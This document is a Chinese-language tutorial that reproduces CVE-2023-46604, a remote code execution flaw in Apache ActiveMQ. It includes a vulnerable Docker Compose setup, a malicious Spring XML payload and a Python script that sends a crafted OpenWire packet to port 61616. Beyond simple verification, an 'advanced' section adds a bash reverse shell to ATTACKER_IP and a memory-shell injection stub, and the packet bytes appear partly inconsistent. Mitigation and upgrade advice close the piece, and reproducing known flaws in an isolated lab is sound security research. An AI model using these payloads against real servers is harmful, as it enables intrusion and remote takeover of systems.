Apache ActiveMQ 5.17.4 漏洞环境一键搭建Docker Compose 3步复现 CVE-2023-46604消息中间件在现代分布式系统中扮演着关键角色而Apache ActiveMQ作为其中广泛应用的开源解决方案其安全性直接关系到企业数据流转的可靠性。2023年曝光的CVE-2023-46604漏洞因其远程代码执行的高危特性迅速成为安全研究的热点。本文将提供一种基于Docker的极简复现方案帮助安全从业者在隔离环境中快速验证漏洞影响。1. 漏洞背景与技术原理CVE-2023-46604本质是OpenWire协议中的反序列化缺陷当攻击者向61616端口发送特制数据包时可触发Spring框架的XML外部实体处理机制。关键点在于协议层缺陷OpenWire未对序列化类名进行严格校验利用链构造通过ClassPathXmlApplicationContext加载远程恶意配置执行上下文ActiveMQ服务进程权限通常为root或activemq用户受影响版本包括主版本号安全修复版本5.18.x 5.18.35.17.x 5.17.65.16.x 5.16.75.15.x 5.15.16注该漏洞利用不依赖Web管理界面8161端口仅需TCP端口可达2. 环境搭建准备传统漏洞复现方式需要手动安装Java环境、下载特定版本ActiveMQ并配置系统服务过程繁琐且易出错。我们采用容器化方案解决以下痛点依赖隔离避免与宿主机Java环境冲突快速重置秒级重建原始漏洞环境网络控制限制容器网络暴露范围所需工具Docker Engine 20.10docker-compose 1.29curl用于验证服务状态3. 一键部署漏洞环境3.1 编写docker-compose.yml创建以下编排文件特别注意ACTIVEMQ_VERSION和端口映射version: 3.8 services: activemq: image: apache/activemq:5.17.4 container_name: activemq-rce ports: - 61616:61616 - 8161:8161 environment: - ACTIVEMQ_ADMIN_LOGINadmin - ACTIVEMQ_ADMIN_PASSWORDadmin healthcheck: test: [CMD, curl, -f, http://localhost:8161] interval: 10s timeout: 5s retries: 3关键参数说明image精确指定存在漏洞的5.17.4版本ports暴露61616漏洞端口和8161管理界面healthcheck自动检测服务可用性3.2 启动容器集群执行以下命令完成部署# 拉取镜像并启动服务 docker-compose up -d # 验证容器状态应显示healthy docker ps --filter nameactivemq-rce --format table {{.Names}}\t{{.Status}}预期输出NAMES STATUS activemq-rce Up 2 minutes (healthy)3.3 验证基础服务通过管理界面确认ActiveMQ正常运行# 获取管理界面访问URL替换实际IP echo 管理地址http://$(hostname -I | awk {print $1}):8161登录凭证用户名admin密码admin4. 漏洞验证与利用4.1 准备攻击载荷创建恶意XML配置文件poc.xml?xml version1.0 encodingUTF-8? beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpayload classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuetouch/value value/tmp/rce_success/value /list /constructor-arg /bean /beans启动临时HTTP服务托管该文件python3 -m http.server 88884.2 执行漏洞利用使用以下Python脚本发起攻击需替换YOUR_IPimport socket target 127.0.0.1 port 61616 xml_url http://YOUR_IP:8888/poc.xml payload ( b\x00\x00\x00\x1f # Frame size b\x01 # Data type: ExceptionResponse b\x00\x00\x00\x01 # CorrelationId b\x01 # ResponseRequired b\x01 # ClassName present b\x00\x00\x00\x2d # ClassName length borg.springframework.context.support.ClassPathXmlApplicationContext b\x01 # Message present b\x00\x00\x00 bytes([len(xml_url)]) xml_url.encode() ) sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target, port)) sock.send(payload) sock.close()4.3 验证执行结果进入容器检查命令是否执行docker exec activemq-rce ls -la /tmp/rce_success成功执行后将显示-rw-r--r-- 1 root root 0 May 15 10:30 /tmp/rce_success5. 高级利用技巧5.1 反弹Shell配置修改poc.xml实现交互式访问bean idreverse_shell classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuebash/value value-c/value valuebash -i gt;amp; /dev/tcp/ATTACKER_IP/4444 0gt;amp;1/value /list /constructor-arg /bean5.2 内存马注入通过Java反射实现无文件驻留bean classorg.springframework.beans.factory.config.MethodInvokingFactoryBean property nametargetClass valuejava.lang.Class/ property nametargetMethod valueforName/ property namearguments valuejavax.script.ScriptEngineManager/ /bean5.3 网络隔离方案限制容器网络暴露增强安全性# 在docker-compose.yml中添加 networks: internal: driver: bridge internal: true6. 防御与修复建议6.1 临时缓解措施# 防火墙立即阻断61616端口 sudo iptables -A INPUT -p tcp --dport 61616 -j DROP # 修改ActiveMQ配置限制访问 echo transportConnectorsstompnio://0.0.0.0:61613 conf/activemq.xml6.2 终极解决方案升级到安全版本# 修改docker-compose.yml中的image标签 image: apache/activemq:5.17.6版本选择建议生产环境5.18.3旧版迁移5.16.77. 研究价值延伸该漏洞为研究Java反序列化提供了典型样本建议进一步探索OpenWire协议逆向分析Spring框架XML处理机制容器化漏洞靶场的自动化构建在实验结束后使用以下命令彻底清理环境docker-compose down --volumes rm -f poc.xml